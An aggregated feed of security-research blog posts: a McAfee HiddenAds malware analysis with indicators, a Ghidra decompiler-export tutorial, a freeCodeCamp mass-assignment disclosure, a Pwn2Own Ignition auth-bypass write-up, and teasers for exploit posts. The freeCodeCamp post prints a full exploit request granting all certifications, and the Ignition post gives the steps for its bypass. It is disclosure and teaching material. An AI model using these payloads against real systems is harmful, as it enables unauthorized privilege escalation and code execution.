This malware uses the Contact Provider. The Contact Provider is the source of data you see in the device’s contacts application, and you can also access its data in your own application and transfer data between the device and online services. For this, Google provides ContactsContract class. ContactsContract is the contract between the Contacts Provider and applications. In ContactsContract, there is a class called Directory. A Directory represents a contacts corpus and is implemented as a Content Provider with its unique authority. So, developers can use it if they want to implement a custom directory. The Contact Provider can recognize that the app is using a custom directory by checking special metadata in the manifest file.

Figure 6. Content providers declared with special metadata in manifest
Figure 6. Content providers declared with special metadata in manifest

The important thing is the Contact Provider automatically interrogates newly installed or replaced packages. Thus, installing a package containing special metadata will always call the Contact Provider automatically.

The first activity defined in the application tag in the manifest file is executed as soon as you install it just by declaring the metadata. The first activity of this malware will create a permanent malicious service for displaying advertisements.

Figure 7. Create a malicious service for displaying ads
Figure 7. Create a malicious service for displaying ads

In addition, the service process will generate immediately even if it is forced to kill.

Figure 8. Malicious service process that continues to generate
Figure 8. Malicious service process that continues to generate

Next, they change their icons and names using the <activity-alias> tag to hide.

Figure 9. Using <activity-alias> tags to change app icons and names
Figure 9. Using tags to change app icons and names

Users infected worldwide

It is confirmed that users have already installed these apps from 100K to 1M+. Considering that the malware works when it is installed, the installed number is reflected as the victim’s number. According to McAfee telemetry data, this malware and its variants affect a wide range of countries, including South Korea, Japan, and Brazil:

Figure 10. Top affected countries include South Korea, Japan, and Brazil
Figure 10. Top affected countries include South Korea, Japan, and Brazil

Conclusion

This malware is auto-starting malware, so as soon as the users download it from Google Play, they are infected immediately. And it is still constantly developing variants that are published by different developer accounts. Therefore, it is not easy for users to notice this type of malware.

We already disclosed this threat to Google and all reported applications were removed from the Play Store. Also, McAfee Mobile Security detects this threat as Android/HiddenAds and protects you from this type of malware. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com

Indicators of Compromise

Applications:

App Name Package Name Downloads
Junk Cleaner cn.junk.clean.plp 1M+
EasyCleaner com.easy.clean.ipz 100K+
Power Doctor com.power.doctor.mnb 500K+
Super Clean com.super.clean.zaz 500K+
Full Clean -Clean Cache org.stemp.fll.clean 1M+
Fingertip Cleaner com.fingertip.clean.cvb 500K+
Quick Cleaner org.qck.cle.oyo 1M+
Keep Clean org.clean.sys.lunch 1M+
Windy Clean in.phone.clean.www 500K+
Carpet Clean og.crp.cln.zda 100K+
Cool Clean syn.clean.cool.zbc 500K+
Strong Clean in.memory.sys.clean 500K+
Meteor Clean org.ssl.wind.clean 100K+

 

SHA256:

  • 4b9a5de6f8d919a6c534bc8595826b9948e555b12bc0e12bbcf0099069e7df90
  • 4d8472f0f60d433ffa8e90cc42f642dcb6509166cfff94472a3c1d7dcc814227
  • 5ca2004cfd2b3080ac4958185323573a391dafa75f77246a00f7d0f3b42a4ca3
  • 5f54177a293f9678797e831e76fd0336b0c3a4154dd0b2175f46c5a6f5782e24
  • 7a502695e1cab885aee1a452cd29ce67bb1a92b37eed53d4f2f77de0ab93df9b
  • 64d8bd033b4fc7e4f7fd747b2e35bce83527aa5d6396aab49c37f1ac238af4bd
  • 97bd1c98ddf5b59a765ba662d72e933baab0a3310c4cdbc50791a9fe9881c775
  • 268a98f359f2d56497be63a31b172bfbdc599316fb7dec086a937765af42176f
  • 690d658acb9022765e1cf034306a1547847ca4adc0d48ac8a9bbdf1e6351c0f7
  • 75259246f2b9f2d5b1da9e35cab254f71d82169809e5793ee9c0523f6fc19e4b
  • a5cbead4c9868f83dd9b4dc49ca6baedffc841772e081a4334efc005d3a87314
  • c75f99732d4e4a3ec8c19674e99d14722d8909c82830cd5ad399ce6695856666

Domains:

  • http[://]hw.sdk.functionads.com:8100

The post New HiddenAds malware affects 1M+ users and hides on the Google Play Store appeared first on McAfee Blog.

Extracting Ghidra Decompiler Output with Python

28 July 2022 at 13:03

Ghidra’s decompiler, while not perfect, is pretty darn handy. Ghidra’s user interface, however, leaves a lot to be desired. I often find myself wishing there was a way to extract all the decompiler output to be able to explore it a bit easier in a text editor or at least run other tools against it.

At the time of this writing, there is no built-in functionality to export decompiler output from Ghidra. There are a handful of community made scripts available that get the job done (such as Haruspex and ExportToX64dbg), but none of these tools are as flexible as I’d like. For one, Ghidra’s scripting interface is not the easiest to work with. And two, resorting to Java or the limitations of Jython just doesn’t cut it. Essentially, I want to be able to access Ghidra’s scripting engine and API while retaining the power and flexibility of a local, fully-featured Python3 environment.

This blog will walk you through setting up a Ghidra to Python bridge and running an example script to export Ghidra’s decompiler output.

Prepping Ghidra

First and foremost, make sure you have a working installation of Ghidra on your system. Official downloads can be obtained from https://ghidra-sre.org/.

Next, you’ll want to download and install the Ghidra to Python Bridge. Steps for setting up the bridge are demonstrated below, but it is recommended to follow the official installation guide in the event that the Ghidra Bridge project changes over time and breaks these instructions.

The Ghidra to Python bridge is a local Python RPC proxy that allows you to access Ghidra objects from outside the application. A word of caution here: Using this bridge is essentially allowing arbitrary code execution on your machine. Be sure to shutdown the bridge when not in use.

In your preferred python environment, install the ghidra bridge:

$ pip install ghidra_bridge

Create a directory on your system to store Ghidra scripts in. In this example, we’ll create and use “~/ghidra_scripts.”

$ mkdir ~/ghidra_scripts

Launch Ghidra and create a new project. Create a Code Browser window (click the dragon icon in the tool chest bar) and open the Script Manager window. This can be opened by selecting “Window > Script Manager.” Press the “Manage Script Directories” in the Script Manager’s toolbar.

In the window that pops up, add and enable “$USER_HOME/ghidra_scripts” to the list of script directories.

Back in your terminal or python environment, run the Ghidra Bridge installation process.

$ python -m ghidra_bridge.install_server ~/ghidra_scripts

This will automatically copy over the scripts necessary for your system to run the Ghidra Bridge.

Finally, back in Ghidra, click the “Refresh Script List” button in the toolbar and filter the results to “bridge.”. Check the boxes next to “In Toolbar” for the Server Start and Server Shutdown scripts as pictured below. This will allow you to access the bridge’s start/stop commands from the Tools menu item.

Go ahead and start the bridge by selecting “Run in Background.” If all goes according to plan, you should see monitor output in the console window at the bottom of the window similar to the following:

Using the Ghidra Bridge

Now that you’ve got the full power and flexibility of Python, let’s put it to some good use. As mentioned earlier, the example use-case being provided in this blog is the export of Ghidra’s decompiler output.

Source code for this example is available here: https://github.com/tenable/ghidra_tools/tree/main/extract_decomps

We’ll be using an extremely simple application to demonstrate this script’s functionality, which is available in the “example” folder of the “extract_decomps” directory. All the application does is grab some input from the user and say hello.

Build and run the test application.

$ gcc test.c
$ ./a.out
What is your name?
# dino
Hello, dino!

Import the test binary into Ghidra and run an auto-analysis on it. Once complete, simply run the extraction script.

$ python extract.py
INFO:root:Program Name: a.out
INFO:root:Creation Date: Tue Jul 26 13:51:21 EDT 2022
INFO:root:Language ID: AARCH64:LE:64:AppleSilicon
INFO:root:Compiler Spec ID: default
INFO:root:Using 'a.out_extraction' as output directory…
INFO:root:Extracting decompiled functions…
INFO:root:Extracted 7 out of 7 functions
$ tree a.out_extraction
a.out_extraction
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
└── [email protected]

From here, you’re free to browse the source code in the text editor or IDE of your choice and run any other tools you see fit against this output. Please keep in mind, however, that the decompiler output from Ghidra is intended as pseudo code and won’t necessarily conform to the syntax expected by many static analysis tools.


Extracting Ghidra Decompiler Output with Python was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hunting For Mass Assignment Vulnerabilities Using GitHub CodeSearch and grep.app

This post discusses the process of searching top GitHub projects for mass assignment vulnerabilities. This led to a fun finding in the #1 most starred GitHub project, freeCodeCamp, where I was able to acquire every coding certification – supposedly representing over 6000 hours of study – in a single request.

Searching GitHub For Vulnerabilities

With more than 200 million repositories, GitHub is by far the largest code host. While the vast majority of repositories contain boilerplate code, forks, or abandoned side projects, GitHub also hosts some of the most important open source projects. To some extent Linus’s law – “given enough eyeballs, all bugs are shallow” – has been empirically shown on GitHub, as projects with more stars also had more bug fixes. We might therefore expect the top repositories to have a lower number of security vulnerabilities, especially given the incentives to find vulnerabilities such as bug bounties and CVE fame.

Undeterred by Linus’s law, I wanted to see how quickly I could find a vulnerability in a popular GitHub project. The normal approach would be to dig into the code of an individual project, and learn the specific conventions and security assumptions behind it. Combine with a strong understanding of a particular vulnerability class, such as Java deserialization, and use of code analysis tools to map the attack surface, and we have the ingredients to find fantastic exploits which everyone else missed such as Alvaro Munoz’s attacks on Apache Dubbo.

However, to try and find something fast, I wanted to investigate a “wide” rather than a “deep” approach of vuln-hunting. This was motivated by the beta release of GitHub’s new CodeSearch tool. The idea was to find vulnerabilities through querying for specific antipatterns across the GitHub project corpus.

The vulnerability class I chose to focus on was mass assignment, I’ll describe why just after a quick refresher.

Mass Assignment

A mass assignment vulnerability can occur when an API takes data that a user provides, and stores it without filtering for allow-listed properties. This can enable an attacker to modify attributes that the user should not be allowed to access.

A simple example is when a User model contains a “role” property which specifies whether a user has admin permissions; consider the following User model:

  • name
  • email
  • role

And a user registration function which saves all attributes specified in the request body to a new user instance:

exports.register = (req, res) => {
  user = new User(req.body);
  user.save();}

A typical request from a frontend to this endpoint might look like:

POST /users/register

{
  "name": "test",
  "email": "[email protected]"
}

However, by modifying the request to add the “role” property, a low-privileged attacker can cause its value to be saved. The attacker’s new account will gain administrator privileges in the application:

{
"name": "test",
"email": "[email protected]",
"role": "admin"
}

The mass assignment bug class is #6 on the OWASP API Security Top 10. One of the most notorious vulnerability disclosures, back in 2012, was when researcher Egar Homakov used a mass assignment exploit against GitHub to add his own public key to the Ruby on Rails repository and commit a message directly to the master branch.

Why Mass Assignment?

This seemed like a good vulnerability class to focus on, for several reasons:

  • In the webapp assessments we do, we often find mass assignments, possibly because developers are less aware of this type of vuln compared to e.g. SQL injection.
  • They can be highly impactful, enabling privilege escalation and therefore full control over an application.
  • The huge variety of web frameworks have different ways of preventing/addressing mass assignment.
  • As in the above example, mass assignment vulns often occur on a single, simple line of code, making them easier to search for.

Mass Assignment in Node.js

Mass assignment is well known in some webdev communities, particularly Ruby On Rails. Since Rails 4 query parameters must be explicitly allow-listed before they can be used in mass assignments. Additionally, the Brakeman static analysis scanner has rules to catch any potentially dangerous attributes that have been accidentally allow-listed.

Therefore, it seemed worthwhile to narrow the scope to the current web technologies du jour, Node.js apps, frameworks, and object-relational mappers (ORMs). Among these, there’s a variety of ways that mass assignment vulnerabilities can manifest, and less documentation and awareness of them in the community.

To give examples of different ways mass assignment can show up, in the Mongoose ORM, the findOneAndUpdate() method could facilitate a mass assignment vulnerability if taking attributes directly from the user:

const filter = {_id: req.body.id};
const update = req.body;
const updatedUser = await User.findOneAndUpdate(filter, update);

In the sophisticated Loopback framework, model access is defined in ACLs, where an ACL like the following on a user model would allow a user to modify all their own attributes:

{
"accessType": "*",
"principalType": "ROLE",
"principalId": "$owner",
"permission": "ALLOW",
"property": "*"
},

In the Adonis.js framework, any of the following methods could be used to assign multiple attributes to an object:

User.fill(), User.create(), User.createMany(), User.merge(), User.firstOrCreate(), User.fetchOrCreateMany(), User.updateOrCreate(), User.updateOrCreateMany()

The next step was to put together a shortlist of potentially-vulnerable code patterns like these, figure out how to search for them on GitHub, then filter down to those instances which actually accept user-supplied input.

Limitations of GitHub Search

GitHub’s search feature has often been criticized, and does not feel like it lives up to its potential. There are two major problems for our intended use-case:

  1. Global code searches of GitHub turns up an abundance of starter/boilerplate projects that have been abandoned years ago, which aren’t relevant. There is a “stars” operator to only return popular projects, e.g. stars:>1000, but it only works when searching metadata such as repository names and descriptions, not when searching through code.
  2. The following characters are ignored in GitHub search: .,:;/\`'"=*!?#$&+^|~<>(){}[]@. As key syntactical characters in most languages, it’s a major limitation that they can’t be searched for.

The first two results when searching for “user.update(req.body)” illustrate this:

The first result looks like it might be vulnerable, but is a project with zero stars that has had no commits in years. The second result is semantically different than what we searched. Going through all 6000+ results when 99% of the results are like this is tedious.

These restrictions previously led some security researchers to use Google BigQuery to run complex queries against the 3 terabyte GitHub dataset that was released in 2016. While this can produce good results, it doesn’t appear that the dataset has been updated recently. Further, running queries on such a large amount of data quickly becomes prohibitively expensive.

GitHub CodeSearch

GitHub’s new CodeSearch tool is currently available at https://cs.github.com/ for those who have been admitted to the technology preview. The improvements include exact string search, an increased number of filters and boolean operators, and better search indexing. The CodeSearch index right now includes 7 million public repositories, chosen due to popularity and recent activity.

Trying the same query as before, the results load a lot faster and look more promising too:

The repositories showing up first actually have stars, however they all have less than 10. Unfortunately only 100 results are currently returned from a query, and once again, none of the repositories that showed up in my searches were particularly relevant. I looked for a way to sort by stars, but that doesn’t exist. So for our purposes, CodeSearch solves one of the problems with GitHub search, and is likely great for searching individual codebases, but is not yet suitable for making speculative searches across a large number of projects.

grep.app

Looking for a better solution, I stumbled across a third-party service called grep.app. It allows exact match and regex searches, and has only indexed 0.5 million GitHub repositories, therefore excluding a lot of the noise that has clogged up the results so far.

Trying the naïve mass assignment search once again:

Only 22 results are returned, but they are high-quality results! The first repo shown has over 800 stars. I was excited – finally, here was a search engine which could make the task efficient, especially with regex searches.

With the search space limited to top GitHub projects, I could now search for method names and get a small enough selection of results to scan through manually. This was important as “req.body” or other user input usually gets assigned to another variable before being used in a database query. To my knowledge there is no way to express these data flows in searches. CodeQL is great for tracking malicious input (taint tracking) over a small number of projects, but it can’t be used to make a “wide” query across GitHub.

Mass Assignment In FreeCodeCamp

Searching for “user.updateAttributes(“, the first match was for freeCodeCamp, the #1 most starred GitHub project, with over 350k stars:

Looking at the code in the first result, we appeared to have a classic mass assignment vulnerability:

function updateUserFlag(req, res, next) {
const { user, body: update } = req;
return user.updateAttributes(update, createStandardHandler(req, res, next));
}

Acquiring All Certifications on freeCodeCamp

The next step was to ensure that this function could be reached from a public-facing route within the application, and it turned out to be as simple as a PUT call to /update-user-flag: a route originally added in order that you could change your theme on the site.

I created an account on freeCodeCamp’s dev environment, and also looked at the user model in the codebase to find what attributes I could maliciously modify. Although freeCodeCamp did not have roles or administrative users, all the certificate information was stored in the user model.

Therefore, the exploit simply involved making the following request:

PUT /update-user-flag HTTP/2
Host: api.freecodecamp.dev
Cookie: _csrf=lsCzfu4[...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.freecodecamp.dev/
Csrf-Token: Tu0VHrwW-GJvZ4ly1sVEXjHxSzgPLLj99OLQ
Content-Type: application/json
Origin: https://www.freecodecamp.dev
Content-Length: 518
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

{
  "name": "Mass Assignment",
  "isCheater": false,
  "isHonest": true,
  "isInfosecCertV7":true,
  "isApisMicroservicesCert":true,
  "isBackEndCert":true,
  "is2018DataVisCert":true,
  "isDataVisCert":true,
  "isFrontEndCert":true,
  "isFullStackCert":true,
  "isFrontEndLibsCert":true,
  "isInfosecQaCert":true,
  "isQaCertV7":true,
  "isInfosecCertV7":true,
  "isJsAlgoDataStructCert":true,
  "isRelationalDatabaseCertV8":true,
  "isRespWebDesignCert":true,
  "isSciCompPyCertV7":true,
  "isDataAnalysisPyCertV7":true,
  "isMachineLearningPyCertV7":true
}

After sending the request, a bunch of signed certifications showed up on my profile, each one supposedly requiring 300 hours of work.

Some aspiring developers use freeCodeCamp certifications as evidence of their coding skills and education, so anything that calls into question the integrity of those certifications is bad for the platform. There are certainly other ways to cheat, but those require more effort than sending a single request.

I reported this to freeCodeCamp, and they promptly fixed the vulnerability and released a GitHub security advisory.

Conclusion

Overall, it turned out that a third-party service, grep.app, is much better than both GitHub’s old and new search for querying across a large number of popular GitHub projects. The fact that we were able to use it to so quickly discover a vuln in a top repository suggests there’s a lot more good stuff to find. The key was to be highly selective so as to not get overwhelmed by results.

I expect that GitHub CodeSearch will continue to improve, and hope they will offer a “stars” qualifier by the time the feature reaches general availability.

The post Hunting For Mass Assignment Vulnerabilities Using GitHub CodeSearch and grep.app appeared first on Include Security Research Blog.

Pwn2Own Miami 2022: Inductive Automation Ignition Remote Code Execution

22 July 2022 at 00:00

This write-up is part 2 of a series of write-ups about the 5 vulnerabilities we demonstrated last April at Pwn2Own Miami. This is the write-up for a Remote Code Execution vulnerability in Inductive Automation Ignition, by using an authentication bypass (CVE-2022-35871).

Conformed! @daankeuper and @xnyhps from Computest Sector 7 (@sector7_nl) used a missing authentication for critical function vuln to execute code on Inductive Automation Ignition . They win $20,000 and 20 Master of Pwn points. #Pwn2Own #P2O

— Zero Day Initiative (@thezdi) April 19, 2022

The cause of this vulnerability was a weak authentication implementation when using Active Directory single sign-on. We combined this with intended(?) functionality that allowed us to execute Python code on the server (as SYSTEM).

Background

Inductive Automation Ignition is an application that was part of in the “Control Server” category. Control servers are used to supervise and communicate with lower-level devices, such as PLCs. This makes them a critical element in any ICS network.

Ignition is organized in different projects, which are managed using a web interface. Each project needs a user source which determines the authentication and authorization for that project. Authentication can be internal, using a database, or based on Active Directory (which has some sub-options that determine how authorization is handled). The projects can then be used from Ignition Perspective, a desktop application which communicates with the Ignition server through the gateway API.

When one of the AD based user sources is configured, it offers an option named “SSO Enabled”.

To configure an AD based user source, the server needs to be configured with an AD account, the IP address of a domain controller and the Active Directory domain name. The AD account is used to set up an LDAP connection to the AD server for the application itself.

Vulnerability

Auth bypass

While, looking at the decompiled Java code (Ignition/lib/core/gateway/gateway-api-8.1.16.jar) for how the SSO authentication is handled in the gateway API, we noticed that the function implementing SSO is a lot simpler than we expected.

com.inductiveautomation.ignition.gateway.authentication.impl.ActiveDirectoryUserSource.class:

protected AuthenticatedUser authenticateAdSso(AuthChallenge challenge) throws Exception {
    String ssoUname = (String)challenge.get(User.Username);
    String ssoDomain = (String)challenge.get(ADSSOAuthChallenge.ADDomain);
    if (StringUtils.isBlank(ssoUname)) {
      this.log.debug("SSO username is blank.");
      return null;
    } 
    if (StringUtils.isBlank(ssoDomain)) {
      this.log.debugf("SSO domain is blank for user '%s'", new Object[] { ssoUname });
      return null;
    } 
    if (ssoDomain.equalsIgnoreCase(this.domain)) {
      User existingUser = this.userSource.findSSOUser(ssoUname);
      if (existingUser != null)
        return (AuthenticatedUser)new BasicAuthenticatedUser(existingUser, new Date()); 
      this.log.debug(String.format("Existing user was not found for username '%s'", new Object[] { ssoUname }));
    } else {
      this.log.debug(String.format("SSO domains did not match! Compared '%s' and '%s'", new Object[] { this.domain, ssoDomain }));
    } 
    return null;
  }

This function receives an AuthChallenge object (essentially a JSON dictionary). It checks that it contains a key for the username and a key for the SSO domain. Then it compares the value for the SSO domain to the configured Active Directory domain name. If it matches, it looks up the username using LDAP and, if found, returns it as an AuthenticatedUser object.

There’s no check here for a password, token, signature, or anything like that. The only data that needs to be submitted to the server is the username and the Active Directory domain name. In other words, the vulnerability here is that there is no SSO implementation at all! It’s not even clear to us what type of SSO was intended to be used here, probably Kerberos?

RCE

To go from an authenticated user to code execution, we used what we assume is intended functionality that allows us to evaluate Python on the server. There is a ScriptInvoke gateway API endpoint with an execute function. Authenticated users can submit Python code to this endpoint, which is executed on the server with the same privileges as the server (on Windows, this is SYSTEM). Ignition Designer offers the ability to execute scripts on the server in response to specific events or regular intervals. This does not appear to require any special role or permissions, so this design looks risky to us, but it does seem to function as designed.

Exploit

To exploit the auth bypass, the server needs to be configured using AD authentication with SSO enabled. To perform the attack, we need the following information:

  1. The name of a project using this authentication method.
  2. The name of an existing AD user.
  3. The name of the AD domain.

It turns out that the first two were easy to do. There is an unauthenticated API endpoint on the admin interface returning the list of all projects:

http://<server IP>/data/perspective/projects

For the username, this simply had to be any existing AD user, regardless of permissions in AD or Ignition. So, we could just use “Administrator”, as that user will always exist in AD.

This only leaves the AD domain name, which we didn’t find a way to obtain automatically from Ignition. In practice, that value should be easy to obtain when attacking a company, especially if the attacker is already on the company’s internal network. In most cases this would just be the company’s primary domain name, or the value might leak in email headers, file metadata, etc.

Finally, we used a reverse shell implemented in Python to setup a connection back to our attacker machine.

Impact

Exploiting these vulnerabilities would grant us code execution on the machine hosting Ignition. This means that we could immediately manipulate or disrupt any process handled by or via this server. For example, we might be able to take over the communication with PLCs. In addition, the SYSTEM privileges would make it a fantastic starting point for further attacks other parts of the ICS or IT network.

In most cases, the Ignition server will not be exposed publicly to the internet, but only available on the internal ICS network. Therefore, this vulnerability would need to be combined with different vulnerabilities or attacks that grant us access to that network.

The fix

This vulnerability was addressed by Inductive Automation in versions 8.1.17 and 7.9.20 and assigned CVE-2022-35871. AD User Sources now disable the “SSO Enabled” setting automatically, unless a specific flag is set on the server (-Dignition.enableInsecureAdSso=true). In other words, Inductive Automation has chosen to deprecate this feature and documented that it is dangerous to use. This may seem like a disappointing fix, but implementing a secure SSO protocol would likely have taken a lot more time. This way the vulnerability can be avoided and, if desired, Inductive Automation could implement a secure SSO protocol without time pressure.

Thoughts

When implementing security critical features (such as authentication), it is important to make a good design first. When authentication is combined with single sign-on and native applications this is even more important, as it can become very complex. With such a design, it becomes possible to catch mistakes before the features are implemented and to test each part separately.

While we of course don’t know how this feature was built, we suspect no such design was created. Having a cryptographic protocol like Kerberos completely missing from the implementation should be quite obvious if the feature had been fully designed first.

Features allowing users to execute their own code on a server can be required in certain use-cases. However, the fact that this was available for a user who did not have any permissions or roles explicitly assigned to them is worrisome. This means that any authentication bypass immediately becomes an RCE vulnerability.

Conclusion

We’ve demonstrated a remote code execution vulnerability against Inductive Automation Ignition. We found that authentication can be bypassed on a server with AD single sign-on enabled. The (cryptographic) protocol for handling single sign-on appears to not be implemented at all.

After bypassing the authentication, we used functionality of the server to execute arbitrary Python code with SYSTEM privileges to set up a reverse shell.

Big shout-out to Inductive Automation on handling this years edition of Pwn2Own! They published all details of all findings on their website, including a extensive write-up of their thoughts and fixes. Well done!

We thank Zero Day Initiative for organizing this years edition of Pwn2Own Miami, we hope to return to a later edition!

You can find the other four write-ups here:

Gitlab Project Import RCE Analysis (CVE-2022-2185)

21 July 2022 at 00:00
At the beginning of this month, GitLab released a security patch for versions 14->15. Interestingly in the advisory, there was a mention of a post-auth RCE bug with CVSS 9.9. The bug exists in GitLab’s Project Imports feature, which was found by @vakzz. Incidentally, when I rummaged in the author’s h1 profile. I discovered that four months ago, he also found a bug in the import project feature: Initially, I thought it was tempting after seeing the bounty, so I started learning Rails and debugged this bug!

io_uring - new code, new bugs, and a new exploit technique

24 June 2022 at 00:00
For the past few weeks, I have been working on conducting N-day analysis and bug hunting in the io_uring subsystem of the Linux kernel with the guidance of my mentors, Billy and Ramdhan. In this article, I will briefly discuss the io_uring subsystem, as well as my approach to discovering and developing a new kernel exploit technique during my N-day analysis of CVE-2021-41073. I will also discuss two bugs I found while analyzing a new io_uring feature.

Trying To Exploit A Windows Kernel Arbitrary Read Vulnerability

7 June 2022 at 00:00
Introduction I recently discovered a very interesting kernel vulnerability that allows the reading of arbitrary kernel-mode address. Sadly, the vulnerability was patched in Windows 21H2 (OS Build 22000.675), and I am unsure of the CVE being assigned to it. In this short blog post, I will share my journey of trying to exploit this vulnerability. Although I didn’t finish the exploit in the end, I have decided to share this with everyone anyway.

New Wine in Old Bottle - Microsoft Sharepoint Post-Auth Deserialization RCE (CVE-2022-29108)

12 May 2022 at 00:00
Introduction Recently, I have had a some work which is related to Sharepoint, so I was learning on how to setup and debug old bugs of Sharepoint. In February, there was a Deserialization bug CVE-2022-22005 (post-auth of course). There is already a detailed analysis blog post about that written by a Vietnamese guy (here). The blog is written with great enthusiasm and detail. I also rely on the details in that blog to setup and debug.

The Cat Escaped from the Chrome Sandbox

21 January 2022 at 00:00
Introduction On 13th September 2021, Google published the security advisory for Google Chrome. That advisory states that Google is aware of two vulnerabilities exploited in the wild, CVE-2021-30632 as RCE and CVE-2021-30633 as Sandbox Escape. In this post, I will talk about the bypass sandbox vulnerability CVE-2021-30633. Man Yue Mo had published a very detailed blog post explaining CVE-2021-30632, which is a Type Confusion bug that leads to RCE in Chrome.

Diving into Open-source LMS Codebases

16 November 2021 at 00:00
Introduction Looking to practice on source code review, I had been diving into how open-source LMS codebases are structured in order to find undiscovered vulnerabilities. Initially, my main focus had been on Chamilo LMS (their source code can be found on GitHub). Afterwards, I looked into Moodle LMS (their source code can also be found on GitHub). The majority of the findings that were found are the ones you would think of when you hear the words “common web application vulnerabilities”, such as:

Analysis of CVE-2021-1758 (CoreText Out-Of-Bounds Read)

14 September 2021 at 00:00
References: STARLabs Advisory STAR-21-1758 In February, Peter found a OOB read vulnerability in libFontParser.dylib. The latest tested version with the vulnerability is macOS Catalina 10.15.4 (19E287). I wrote a guide earlier on setting up a testing environment. Mac Resource Fork Font File References: Font Forge: Macintosh Font Formats Apple: MoreMacintoshToolbx fontTools: macRes It turns out that macOS can load something called a Mac Resource Fork font file.

Identifying Bugs in Router Firmware at Scale with Taint Analysis

4 August 2021 at 00:00
In the past few months, Akash (@enigmatrix) and I (@daniellimws) worked on developing a taint analysis tool to find bugs in routers, with the guidance of Shi Ji (@puzzor) and Thach (@d4rkn3ss). We had developed a tool based on CVE-2019-8312 to CVE-2019-8319, which are command injection vulnerabilities on the D-Link DIR-878 router with firmware version 1.12A1. The goal was to automate the detection of such bugs. Ideally, the tool should be faster than finding the bugs manually.

Simple Vulnerability Regression Monitoring with V8Harvest

25 June 2021 at 00:00
Introduction During my research into Javascript Engine (V8), I have created a small tool to help you view recent V8 bugs that contains regression test on a single page. Since most of the time, regression test often contains PoC to trigger the bug, it’s pretty useful to analyze them to find the root cause and writing exploit for the n-day bug. For example, regress-1053604.js contains the PoC to trigger the side-effect in kJSCreate opcode (CVE-2020-6418).

You Talking To Me?

12 April 2021 at 00:00
What is WebDriver and How does it work? WebDriver is a protocol used for web browser automation. It can drive a browser to perform various tests on web pages as if a real user was navigating through them. It allows simulating user actions such as clicking links, entering text and submitting forms, which can help test if your website is working as intended. It is usually used for front-end testing and web crawling in a headless environment.

Chrome 1-Day Hunting - Uncovering and Exploiting CVE-2020-15999

9 January 2021 at 00:00
Introduction This blog post details the exploitation process for the vulnerability CVE 2020-15999 in Google Chrome 86.0.4222.0 on Linux. While CVE 2020-15999 is a heap-based buffer overflow in the font-loading library Freetype rather than Chrome proper, its extensive use in the latter enables us to achieve code execution in the browser’s renderer. This post will not be focused on the analysis of the bug, but rather its exploitation, as extensive explanation and analysis can be found here.

Analysis & Exploitation of a Recent TP-Link Archer A7 Vulnerability

16 October 2020 at 00:00
This post provides detailed analysis and an exploit achieving remote code execution for CVE-2020-10882, which was used at Pwn2Own 2019, on the TP-Link Archer C7: This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call.

This Font is not Your Type

4 September 2020 at 00:00
Half a year ago, I found a vulnerability in libFontParser.dylib, which is a part of CoreGraphics library that is widely used in macOS, iOS, iPadOS to parse and render fonts. This vulnerability was patched in iOS 13.5.1 & macOS 10.15.5. In this writeup, I will describe the bug in detail in hopes that it will help others to better understand this vulnerability. This issue could allow an attacker to execute code during the parsing of a malicious font.

ASUSWRT URL Processing Stack Buffer Overflow

7 August 2020 at 00:00
While processing the URL for any blacklisted XSS list like the script tag in the check_xss_blacklist function, a stack buffer overflow is possible by extending the length of the URL when accessing the web interface of the ASUS Router. To exploit it, stack pivoting technique is used before chaining up ROP gadgets to call our own custom command. In this post, we show how this can be exploited to get a reverse shell.

Oracle VirtualBox VHWA Use-After-Free Privilege Escalation Vulnerability

26 June 2020 at 00:00

As part of my month-long internship at STAR Labs, I was introduced to VirtualBox and learnt much about bug hunting and triaging, root-cause analysis and exploitation. This post will detail a use-after-free bug I found during the duration of the internship, and specifics on the VM escape exploit that I wrote utilising the bug. The latest version at the point of reporting was VirtualBox 6.1.2 r135662.

TianFu Cup 2019: Adobe Reader Exploitation

10 April 2020 at 00:00

Last year, I participated in the TianFu Cup competition in Chengdu, China. The chosen target was the Adobe Reader. This post will detail a use-after-free bug of JSObject. My exploit is not clean and not an optimal solution. I have finished this exploit through lots of trial and error. It involves lots of heap shaping code which I no longer remember exactly why they are there. I would highly suggest that you read the full exploit code and do the debugging yourself if necessary. This blog post was written based on a Windows 10 host with Adobe Reader.

Adventures in Hypervisor: Oracle VirtualBox Research

3 April 2020 at 00:00

I have been into the vulnerability research field for a while now, and VirtualBox is my very first target. I have learned a lot along the way and I hope that anyone who are interested in escaping hypervisors can find something useful from these notes. I assume that you have some basic knowledge on memory corruption, hypervisor architecture and device I/O.

Browser Exploitation: Firefox Integer Overflow – CVE-2011-2371

By: voidsec
21 July 2022 at 08:37

In case you’re wondering why I’m not posting as regularly as before, with the new year, I’ve finally transitioned into a fully offensive vulnerability research and exploit development role at Exodus Intelligence that fulfilled my career dream (BTW, we’re currently hiring). In the last couple of months, I’ve worked on some exciting and challenging bugs. […]

The post Browser Exploitation: Firefox Integer Overflow – CVE-2011-2371 appeared first on VoidSec.

❌
❌